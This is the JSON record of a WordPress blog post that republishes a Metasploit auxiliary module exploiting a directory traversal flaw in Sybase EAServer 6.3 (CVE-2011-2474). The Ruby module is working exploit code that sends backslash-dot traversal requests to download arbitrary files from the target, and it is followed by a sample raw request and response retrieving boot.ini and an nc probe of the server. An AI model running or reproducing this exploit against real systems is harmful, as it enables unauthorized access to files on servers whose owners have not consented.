{"id":59353,"date":"2024-09-01T20:29:37","date_gmt":"2024-09-01T17:29:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181176\/sybase_easerver_traversal.rb.txt"},"modified":"2024-09-01T20:29:37","modified_gmt":"2024-09-01T17:29:37","slug":"sybase-easerver-6-3-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sybase-easerver-6-3-directory-traversal\/","title":{"rendered":"Sybase Easerver 6.3 Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Sybase Easerver 6.3 Directory Traversal&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a directory traversal vulnerability found in Sybase<br \/>EAserver&#8217;s Jetty webserver on port 8000. Code execution seems unlikely with<br \/>EAserver&#8217;s default configuration unless the web server allows WRITE permission.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2011-2474&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;72498&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.sybase.com\/detail?id=1093216&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/labs.idefense.com\/verisign\/intelligence\/2009\/vulnerabilities\/display.php?id=912&#8217; ],<br \/>],<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Sow Ching Shiong&#8217;, #Initial discovery (via iDefense)<br \/>&#8216;sinn3r&#8217;<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2011-05-25&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8000),<br \/>OptString.new(&#8220;FILEPATH&#8221;, [false, &#8216;Specify a parameter for the action&#8217;])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/># No point to continue if no filename is specified<br \/>if datastore[&#8216;FILEPATH&#8217;].nil? or datastore[&#8216;FILEPATH&#8217;].empty?<br \/>print_error(&#8220;Please supply the name of the file you want to download&#8221;)<br \/>return<br \/>end<\/p>\n<p>print_status(&#8220;Attempting to download: #{datastore[&#8216;FILEPATH&#8217;]}&#8221;)<\/p>\n<p># Create request<br \/>traversal = &#8220;.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..&#8221;<br \/>res = send_request_raw({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8220;\/#{traversal}\\\\#{datastore[&#8216;FILEPATH&#8217;]}&#8221;<br \/>}, 25)<\/p>\n<p>print_status(&#8220;Server returns HTTP code: #{res.code.to_s}&#8221;)<\/p>\n<p># Show data if needed<br \/>if res and res.code == 200<br \/>vprint_line(res.to_s)<br \/>fname = File.basename(datastore[&#8216;FILEPATH&#8217;])<\/p>\n<p>path = store_loot(<br \/>&#8216;easerver.http&#8217;,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>ip,<br \/>res.body,<br \/>fname<br \/>)<br \/>print_status(&#8220;File saved in: #{path}&#8221;)<br \/>else<br \/>print_error(&#8220;Nothing was downloaded&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n<p>=begin<br \/>GET \/.\\..\\.\\..\\.\\..\\.\\..\\boot.ini HTTP\/1.0<br \/>User-Agent: DotDotPwn v2.1 &lt;&#8211; yup, awesome tool<br \/>Connection: close<br \/>Accept: *\/*<br \/>Host: 10.0.1.55:8000<\/p>\n<p>HTTP\/1.1 200 OK<br \/>Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT<br \/>Content-Length: 211<br \/>Connection: close<br \/>Server: Jetty(EAServer\/6.3.1.04 Build 63104 EBF 18509)<\/p>\n[boot loader]timeout=30<br \/>default=multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS<br \/>[operating systems]multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS=&#8221;Microsoft Windows XP Professional&#8221; \/fastdetect \/NoExecute=OptIn<\/p>\n<p>$ nc 10.0.1.55 8000<br \/>OPTIONS \/ HTTP\/1.0<\/p>\n<p>HTTP\/1.1 405 Method Not Allowed<br \/>Allow: GET<br \/>Content-Length: 0<br \/>Server: Jetty(EAServer\/6.3.1.04 Build 63104 EBF 18509)<br \/>=end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Sybase Easerver 6.3 Directory Traversal&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a directory traversal vulnerability found in SybaseEAserver&#8217;s Jetty webserver on port 8000. Code execution seems unlikely withEAserver&#8217;s default configuration unless the web server allows WRITE &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59353","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59353","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59353"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59353\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59353"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59353"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59353"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}